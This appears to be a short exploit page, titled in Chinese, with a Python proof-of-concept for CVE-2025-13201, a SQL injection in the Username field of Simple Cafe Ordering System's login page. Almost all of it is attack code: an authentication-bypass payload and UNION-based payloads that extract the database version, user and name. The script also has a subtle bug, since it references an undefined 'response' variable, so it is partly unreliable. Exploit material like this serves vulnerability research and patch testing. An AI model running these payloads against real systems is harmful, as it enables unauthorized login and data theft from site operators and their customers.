CVE-2025-13201 Simple Cafe Ordering System登录SQL注入漏洞

import requests import sys # CVE-2025-13201 PoC - Simple Cafe Ordering System SQL Injection # Target: /login.php Username parameter target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/login.php" # Basic authentication bypass payload payload_bypass = "' OR '1'='1' -- " # UNION-based data extraction payload payload_union = "' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- " # Extract database version and user payload_info = "' UNION SELECT @@version,user(),database(),NULL,NULL,NULL,NULL-- " def exploit(url, payload): data = { 'Username': payload, 'Password': 'anything' } try: response = requests.post(url, data=data, timeout=10) return response.text except Exception as e: return f"Error: {str(e)}" print(f"[*] CVE-2025-13201 SQL Injection PoC") print(f"[*] Target: {target_url}") print("\n[1] Testing authentication bypass...") result1 = exploit(target_url, payload_bypass) if "Welcome" in result1 or "Dashboard" in result1 or response.status_code == 302: print("[+] Authentication bypass successful!") print("\n[2] Extracting database information...") result2 = exploit(target_url, payload_info) print(result2)